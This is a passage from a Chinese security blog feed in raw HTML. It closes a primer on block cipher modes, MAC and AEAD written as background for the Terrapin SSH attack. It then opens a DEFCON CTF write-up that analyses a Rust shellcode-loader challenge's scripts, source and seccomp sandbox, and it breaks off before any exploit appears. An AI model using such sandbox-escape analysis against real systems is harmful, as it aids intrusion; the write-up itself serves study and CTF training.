class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mord"><span class="mord">⊕</span></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.07153em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord">⊕</span></span><span class="mord mathdefault" style="margin-right:0.02778em;">D</span><span class="mord mathdefault">e</span><span class="mord mathdefault">c</span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.07153em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mord"><span class="mord">⊕</span></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.07153em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord">⊕</span></span><span class="mord mathdefault" style="margin-right:0.07847em;">I</span><span class="mord mathdefault" style="margin-right:0.22222em;">V</span></span></span></span></span></p><p>此时，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>C</mi><mn>1</mn></msub></mrow><annotation encoding="application/x-tex">C_1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.83333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.07153em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>和<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>C</mi><mn>0</mn></msub></mrow><annotation encoding="application/x-tex">C_0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.83333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.07153em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>顺序调换，并不影响最终答案。</p><p>这两条缺点非常明显。所以这个算法并没有特别流行</p><h4 id="cipher-feedback-cfb">Cipher feedback (CFB)</h4><p>这个算法不同于前面两个，并非是明文处理后参与AES这种加密算法，而是IV会参与到加密算法中，加密过程如图:<br><img src="/2024/01/21/Terrapin-Attack-%E5%AD%A6%E4%B9%A0/enc05.png" alt=""></p><p>此时的加解密流程可以参考这个:<br><img src="/2024/01/21/Terrapin-Attack-%E5%AD%A6%E4%B9%A0/enc06.svg" alt=""></p><p>其与CBC模式很类似，也是加密的时候无法并行化，但是解密可以。</p><h4 id="output-feedback-ofb">Output feedback (OFB)</h4><p>加密算法类似CFB，区别在于IV使用的为加密后的临时状态，而非加密完成后的C:<br><img src="/2024/01/21/Terrapin-Attack-%E5%AD%A6%E4%B9%A0/enc07.png" alt=""><br>此时的加解密流程可以参考这个:<br><img src="/2024/01/21/Terrapin-Attack-%E5%AD%A6%E4%B9%A0/enc08.svg" alt=""></p><p>同样由于加密过程依赖上下文，所以不能进行并行加密。</p><h4 id="ctr-counter-mode">CTR（Counter） mode</h4><p>可以看到，前文提过的加密算法（除了ECB）都有一个比较麻烦的问题：不能并行化。曾经和做密码学的朋友聊过，密码学算法除了加解密的安全性外，其实效率也是非常重要的一环。如果效率不行的情况下，某些所谓的安全信道将会花费大量的时间，这就会导致很多加密算法无法投入到实际生产中。于是这里提出了一种既能够保证安全性，又能并行加密的算法。<br>这种算法的模式如下：<br><img src="/2024/01/21/Terrapin-Attack-%E5%AD%A6%E4%B9%A0/enc09.png" alt=""></p><p>其中，Counter会组成一个IV，这个IV的大小为每一个Plaintext Block 的大小。每一个Plaintext Block都有一个单独的IV。<br>首先这里生成一个随机数<code>Nonce</code>，并且使用任意一种可逆算法F，将随机数和counter组合，形成IV，形如</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>I</mi><msub><mi>V</mi><mi>i</mi></msub><mo>=</mo><mi>F</mi><mo stretchy="false">(</mo><mi>N</mi><mi>o</mi><mi>n</mi><mi>c</mi><mi>e</mi><mo separator="true">,</mo><mi>C</mi><mi>r</mi><msub><mi>t</mi><mi>i</mi></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">IV_i = F(Nonce, Crt_i)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.83333em;vertical-align:-0.15em;"></span><span class="mord mathdefault" style="margin-right:0.07847em;">I</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.22222em;">V</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:-0.22222em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">F</span><span class="mopen">(</span><span class="mord mathdefault" style="margin-right:0.10903em;">N</span><span class="mord mathdefault">o</span><span class="mord mathdefault">n</span><span class="mord mathdefault">c</span><span class="mord mathdefault">e</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathdefault" style="margin-right:0.07153em;">C</span><span class="mord mathdefault" style="margin-right:0.02778em;">r</span><span class="mord"><span class="mord mathdefault">t</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span></span></p><p>之后，将这个单独的IV与Key放入对应的块加密算法中，最后用这个加密的到的数值和明文异或。</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>C</mi><mi>i</mi></msub><mo>=</mo><msub><mi>P</mi><mi>i</mi></msub><mo lspace="0em" rspace="0em">⊕</mo><mi>E</mi><mi>n</mi><mi>c</mi><mo stretchy="false">(</mo><mi>K</mi><mi>e</mi><mi>y</mi><mo separator="true">,</mo><mi>I</mi><msub><mi>V</mi><mi>i</mi></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">C_i = P_i {\oplus} Enc(Key, IV_i)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.83333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:-0.07153em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:-0.13889em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord">⊕</span></span><span class="mord mathdefault" style="margin-right:0.05764em;">E</span><span class="mord mathdefault">n</span><span class="mord mathdefault">c</span><span class="mopen">(</span><span class="mord mathdefault" style="margin-right:0.07153em;">K</span><span class="mord mathdefault">e</span><span class="mord mathdefault" style="margin-right:0.03588em;">y</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathdefault" style="margin-right:0.07847em;">I</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.22222em;">V</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:-0.22222em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span></span></p><p>由于其孤立性的特点，CTR mode的加密算法允许算法进行并行化执行。</p><h3 id="mac-与-aead">MAC 与 AEAD</h3><p>随着时代的发展，安全攻防也在升级。很多攻击者不但直接对加密算法本身下手，有时候也改而转向对整个通信过程下手，考虑通过截断，丢弃，甚至篡改数据包，起到对数据进行劫持攻击的效果。这种时候，就对加密算法提出了新的需求，即是<strong>需要能够保证当前的加密后的数据不被篡改</strong>，于是提出了MAC和AEAD的概念。</p><p>MAC(Message Authentication Codes)为一种用于保证通信信道完整性的代码。这种能够保证通信过程不被监听的通信方式叫做<code>Authenticated Encryption</code>认证加密。认证加密能够保证通信的<strong>机密性</strong>和<strong>真实性</strong>。<br>通俗来说，就是保证以下两点：</p><ol><li>不用密钥解开就不知道通信的内容，又叫做隐私性</li><li>这个加密只有通信双方能做到，第三者无法伪造同样的内容</li></ol><p>为了能够保证上述两点，这种加密过程中会带有一个用于表示认证的标识<code>authentication tag（AD）</code>。这种数据保证其数据的完整性，同时不被加密，例如网络请求头中存放请求的目标地址。尽管所有的路由都能获得这个地址，但是中途的请求路由却没有一个能获取对应的key。这种带有请求就叫做<code> authenticated encryption with associated data(AEAD)</code>。</p><h3 id="ae-加密流程">AE 加密流程</h3><p>这种AE（Authentication Encryption）加密流程如下<br><img src="/2024/01/21/Terrapin-Attack-%E5%AD%A6%E4%B9%A0/enc10.png" alt=""></p><p>输入参数：</p><ul><li>明文</li><li>密钥</li><li>可选的头部，例如附加认证信息或者关联数据</li></ul><p>输出参数：</p><ul><li>密文</li><li>认证标记</li></ul><p>解密流程如下</p><p><img src="/2024/01/21/Terrapin-Attack-%E5%AD%A6%E4%B9%A0/enc11.png" alt=""></p><p>输入参数：</p><ul><li>密文</li><li>密钥</li><li>可选头部</li><li>认证标记</li></ul><p>输出参数：</p><ul><li>明文</li><li>如果tag无法认证密文或者附加头部，则抛出错误</li></ul><h3 id="常见的aead加密模式">常见的AEAD加密模式</h3><p>规范化后的AEAD模式分为这几种</p><h4 id="encrypt-then-mac-etm-加密后添加mac">Encrypt-then-MAC (EtM) 加密后添加MAC</h4><p><img src="/2024/01/21/Terrapin-Attack-%E5%AD%A6%E4%B9%A0/enc12.png" alt=""></p><p>这种加密方式是唯一完全符合AE安全标准的。注意这种加密中，两个key一定要是分离的，否则依然会带来认证绕过的风险</p><h4 id="encrypt-and-mac-e-m-同时获得密文与mac">Encrypt-and-MAC (E&amp;M) 同时获得密文与MAC</h4><p><img src="/2024/01/21/Terrapin-Attack-%E5%AD%A6%E4%B9%A0/enc13.png" alt=""></p><p>遇上一个的区别是，此时MAC基于明文形成，并且只存在一个密钥，这种方式在某些特定的加密模式下会导致某种变种的<code>Padding Oracle</code>攻击，详见<a href="https://conferences.computer.org/sp/pdfs/sp/2009/oakland2009-01.pdf">Plaintext Recovery Attacks Against SSH</a><br>概括来说，就是早年的SSH在做出错检查的时候，如果MAC值不对的时候，会发送一个区别其他消息的错误信息。</p><h4 id="mac-then-encrypt-mte-先获取mac-然后获得明文">MAC-then-Encrypt (MtE)  先获取MAC，然后获得明文</h4><p><img src="/2024/01/21/Terrapin-Attack-%E5%AD%A6%E4%B9%A0/enc14.png" alt=""></p><p>首先基于明文生成MAC，然后将明文和MAC一同加密，获得密文。虽然看起来和上面的加密手法是一致的，所以同样也有<code>Padding Oracle</code>的问题，其出现在历史上著名的针对TLS的攻击<a href="https://en.wikipedia.org/wiki/Lucky_Thirteen_attack">Lucky_Thirteen_attack</a></p><p>在过去，ssh会使用CBC模式对包含MAC的数据进行加密，叫做<code>Encrypt-and-MAC</code>，就是在加密内容的最后增添<code>MAC</code>值，这样就能够在，这就非常容易导致著名的<code>Padding Oracle</code>攻击，从而在加密状态下，泄露位于数据末端的<code>MAC</code>码，实现对请求过程的篡改。</p><h3 id="galois-counter-mode-gcm">Galois/Counter Mode (GCM)</h3><p>这个算法将CTR的算法和认证算法结合。明文加密得到密文之后，再使用类似CBC的模式，生成对应的AuthTag。这里可以认为使用了<code>EtA</code></p><p><img src="/2024/01/21/Terrapin-Attack-%E5%AD%A6%E4%B9%A0/enc15.png" alt=""></p><h2 id="总结">总结</h2><p>这篇文章大致上把密码学的一些基本概念过了一遍，之后在分析SSH漏洞的时候，会反复提及。</p><h2 id="参考链接">参考链接</h2><p><a href="https://datatracker.ietf.org/doc/html/rfc2040">https://datatracker.ietf.org/doc/html/rfc2040</a><br><a href="https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation">https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;Terrapin Attack 漏洞是由&lt;a href=&quot;https://terrapin-attack.com/&quot;&gt;这边的几个安全研究员&lt;/a&gt;提出的漏洞模型，这个漏洞有一阵子特别火，所以我特别想好好的研究一下，然而这个漏洞（的背景）相当的复杂，得从一些密码学相关的前置知识慢慢学习，这边先简单的把基础知识给过一遍&lt;/p&gt;</summary>
    
    
    
    <category term="Crypto" scheme="https://showlinkroom.me/categories/Crypto/"/>
    
    
    <category term="AEAD" scheme="https://showlinkroom.me/tags/AEAD/"/>
    
  </entry>
  
  <entry>
    <title>defcon-rustpwn</title>
    <link href="https://showlinkroom.me/2023/07/02/defcon-rustpwn/"/>
    <id>https://showlinkroom.me/2023/07/02/defcon-rustpwn/</id>
    <published>2023-07-02T00:34:36.000Z</published>
    <updated>2024-03-02T08:18:40.502Z</updated>
    
    <content type="html"><![CDATA[<p>之前跟着战队尝试做了一个defcon的题目，又是一个rust pwn，而且非常有意思，这边记录一下整个做题过程</p><blockquote><p>本文首发于奇安信攻防社区 <a href="https://forum.butian.net/share/2328">https://forum.butian.net/share/2328</a></p></blockquote><span id="more"></span><p>Rust Pwn – rest-and-attest</p><h2 id="rest-and-attest">rest-and-attest</h2><p>这个题又是一个<code>Rust Pwn</code>。拿到题目后，观察到有以下几个文件</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line">├── bin</span><br><span class="line">│   ├── launcher</span><br><span class="line">│   ├── run_challenge.sh</span><br><span class="line">│   ├── sfm</span><br><span class="line">│   ├── uploader</span><br><span class="line">│   └── wrapper.sh</span><br><span class="line">├── lib</span><br><span class="line">│   ├── libcrypto.so.3</span><br><span class="line">│   ├── libc.so.6</span><br><span class="line">│   └── libgcc_s.so.1</span><br><span class="line">└── src</span><br><span class="line">    ├── Cargo.lock</span><br><span class="line">    ├── Cargo.toml</span><br><span class="line">    ├── sfm</span><br><span class="line">    │   ├── Cargo.toml</span><br><span class="line">    │   └── src</span><br><span class="line">    │       ├── lib.rs</span><br><span class="line">    │       ├── main.rs</span><br><span class="line">    │       └── sfm_proto.rs</span><br><span class="line">    ├── sfm-sys</span><br><span class="line">    │   ├── build.rs</span><br><span class="line">    │   ├── Cargo.toml</span><br><span class="line">    │   ├── src</span><br><span class="line">    │   │   └── lib.rs</span><br><span class="line">    │   └── vendor</span><br><span class="line">    └── uploader</span><br><span class="line">        ├── Cargo.toml</span><br><span class="line">        └── src</span><br><span class="line">            ├── main.rs</span><br><span class="line">            └── trusted_firmware.raw</span><br></pre></td></tr></table></figure><p>首先根据文件目录，我们知道我们有一个<code>uploader</code>项目，一个<code>sfm</code>项目，一个辅助<code>sfm</code>项目的<code>sfm-sys</code>。基本上对应了bin目录下给出的相关二进制。然而，给出的二进制还包含了一个<code>launcher</code>，这个是没有源码的。这里<code>run_challenge.sh</code>和<code>wrapper.sh</code>脚本内容如下:<br><code>run_challenge.sh</code></p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#!/bin/sh</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># simulates challenge running in production environment</span></span><br><span class="line">socat tcp4-listen:4444,reuseaddr,fork <span class="built_in">exec</span>:<span class="string">&quot;./wrapper.sh&quot;</span></span><br></pre></td></tr></table></figure><p><code>wrapper.sh</code></p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#!/bin/sh</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">exec</span> 3&lt;&amp;- 4&lt;&amp;-</span><br><span class="line"></span><br><span class="line"><span class="built_in">exec</span> ./uploader</span><br></pre></td></tr></table></figure><p>可以看到，程序入口就是<code>uploader</code>。</p><h3 id="程序入口uploader">程序入口Uploader</h3><p>我们先简单看一下uploader的逻辑。比较重要的如下:</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">fn</span> <span class="title function_">io_loop</span>() <span class="punctuation">-&gt;</span> <span class="type">Result</span>&lt;(), <span class="type">Box</span>&lt;<span class="keyword">dyn</span> Error&gt;&gt; &#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">let</span> <span class="keyword">mut </span><span class="variable">image</span> = <span class="built_in">include_bytes!</span>(<span class="string">&quot;trusted_firmware.raw&quot;</span>).<span class="title function_ invoke__">to_vec</span>();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">loop</span> &#123;</span><br><span class="line">        <span class="keyword">let</span> <span class="keyword">mut </span><span class="variable">line</span> = <span class="type">String</span>::<span class="title function_ invoke__">new</span>();</span><br><span class="line"></span><br><span class="line">        <span class="built_in">print!</span>(<span class="string">&quot;&gt; &quot;</span>);</span><br><span class="line">        <span class="title function_ invoke__">stdout</span>().<span class="title function_ invoke__">flush</span>()?;</span><br><span class="line">        <span class="title function_ invoke__">stdin</span>().<span class="title function_ invoke__">read_line</span>(&amp;<span class="keyword">mut</span> line)?;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">let</span> <span class="variable">command</span> = line.<span class="title function_ invoke__">trim</span>();</span><br><span class="line">        <span class="keyword">if</span> command == <span class="type">String</span>::<span class="title function_ invoke__">from</span>(<span class="string">&quot;upload&quot;</span>) &#123;</span><br><span class="line">            image = <span class="title function_ invoke__">get_new_image</span>()?;</span><br><span class="line">        &#125; <span class="keyword">else</span> <span class="keyword">if</span> command == <span class="type">String</span>::<span class="title function_ invoke__">from</span>(<span class="string">&quot;download&quot;</span>) &#123;</span><br><span class="line">            <span class="title function_ invoke__">do_download</span>(&amp;image)?;</span><br><span class="line">        &#125; <span class="keyword">else</span> <span class="keyword">if</span> command == <span class="type">String</span>::<span class="title function_ invoke__">from</span>(<span class="string">&quot;run&quot;</span>) &#123;</span><br><span class="line">            <span class="title function_ invoke__">run_device</span>(&amp;image)?;</span><br><span class="line">        &#125; <span class="keyword">else</span> <span class="keyword">if</span> command == <span class="type">String</span>::<span class="title function_ invoke__">from</span>(<span class="string">&quot;quit&quot;</span>) &#123;</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="built_in">println!</span>(<span class="string">&quot;Invalid command &#123;:&#125;&quot;</span>, command)</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="title function_ invoke__">Ok</span>(())</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这里四个逻辑，分别是：</p><ul><li>上传一段shellcode二进制程序</li><li>下载现有的shellcode二进制</li><li>使用<code>launcher</code>运行对应的shellcode</li><li>退出</li></ul><p>这里如果我们不上传的话，会使用默认的<code>trusted_firmware.raw</code>。这个shellcode存放在<code>sfm</code>这个项目的<code>src</code>中。<br>当我们执行了<code>run</code>指令，程序会做出如下操作:</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">fn</span> <span class="title function_">run_device</span>(image: &amp;<span class="type">Vec</span>&lt;<span class="type">u8</span>&gt;) <span class="punctuation">-&gt;</span> <span class="type">Result</span>&lt;(), <span class="type">Box</span>&lt;<span class="keyword">dyn</span> Error&gt;&gt; &#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">let</span> (<span class="keyword">mut</span> sfm_child, client_sock) = <span class="title function_ invoke__">launch_sfm</span>()?;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">let</span> <span class="keyword">mut </span><span class="variable">temp_file</span> = NamedTempFile::<span class="title function_ invoke__">new</span>()?;</span><br><span class="line">    temp_file.<span class="title function_ invoke__">write_all</span>(&amp;image[..])?;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">let</span> <span class="variable">temporary_path</span> = temp_file.<span class="title function_ invoke__">into_temp_path</span>();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">let</span> <span class="variable">duped_fd</span> = <span class="keyword">unsafe</span> &#123;</span><br><span class="line">        <span class="keyword">match</span> libc::<span class="title function_ invoke__">dup</span>(client_sock.<span class="title function_ invoke__">as_raw_fd</span>()) &#123;</span><br><span class="line">            -<span class="number">1</span> =&gt; <span class="title function_ invoke__">Err</span>(IoError::<span class="title function_ invoke__">last_os_error</span>()),</span><br><span class="line">            new_fd =&gt; <span class="title function_ invoke__">Ok</span>(new_fd)</span><br><span class="line">        &#125;?</span><br><span class="line">    &#125;;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">let</span> <span class="keyword">mut </span><span class="variable">fw_child</span> = process::Command::<span class="title function_ invoke__">new</span>(LAUNCHER_PATH)</span><br><span class="line">                                        .<span class="title function_ invoke__">args</span>([&amp;temporary_path])</span><br><span class="line">                                        .<span class="title function_ invoke__">env</span>(<span class="string">&quot;SFM_FD&quot;</span>, duped_fd.<span class="title function_ invoke__">as_raw_fd</span>().<span class="title function_ invoke__">to_string</span>())</span><br><span class="line">                                        .<span class="title function_ invoke__">spawn</span>()</span><br><span class="line">                                        .<span class="title function_ invoke__">expect</span>(<span class="string">&quot;failed to execute emulator&quot;</span>);</span><br><span class="line"></span><br><span class="line">    fw_child.<span class="title function_ invoke__">wait</span>().<span class="title function_ invoke__">expect</span>(<span class="string">&quot;emulator wasn&#x27;t running&quot;</span>);</span><br><span class="line"></span><br><span class="line">    sfm_child.<span class="title function_ invoke__">kill</span>().<span class="title function_ invoke__">expect</span>(<span class="string">&quot;was not running&quot;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="title function_ invoke__">Ok</span>(())</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>流程大致如下</p><ul><li>首先程序会尝试启动<code>sfm</code>程序，并且获得子进程对象，以及创建一个<code>client_sock</code>的通信句柄，这个句柄对应的<code>server_sock</code>会传入<code>sfm</code>，与<code>sfm</code>进行交互</li><li>程序会启动<code>launcher</code>这个程序，这个程序会使用<code>client_sock</code>通信句柄</li><li>我们之前上传的image（也就是shellcode）会作为启动选项的参数</li></ul><h3 id="上传沙箱launcher">上传沙箱Launcher</h3><p>这个程序是一个C写的程序，最关键的地方如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">j_memcpy(hollow_and_jump_buffer, hollow_and_jump, <span class="number">128LL</span>);</span><br><span class="line"><span class="keyword">if</span> ( (<span class="type">unsigned</span> <span class="type">int</span>)mprotect(hollow_and_jump_buffer, <span class="number">4096LL</span>, <span class="number">5LL</span>) )</span><br><span class="line">&#123;</span><br><span class="line">    perror(<span class="string">&quot;mprotect hollow logic region&quot;</span>);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span> <span class="keyword">if</span> ( (<span class="type">unsigned</span> <span class="type">int</span>)install_seccomp_filter() )</span><br><span class="line">&#123;</span><br><span class="line">    fwrite(<span class="string">&quot;Failed to isntall seccomp filter\n&quot;</span>, <span class="number">1LL</span>, <span class="number">33LL</span>, <span class="built_in">stderr</span>);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">&#123;</span><br><span class="line">    hollow_and_jump_buffer(v15, v12, buffer);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>程序将我们上传的<code>shellcode</code>读到了<code>buffer</code>中，然后通过一个mmap出来的<code>hollow_and_jump_buffer</code>函数跳转到<code>buffer</code>的逻辑上。同时这里注意，这个<code>install_seccomp_filter</code>会进行seccomp设置，设置的内容如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span 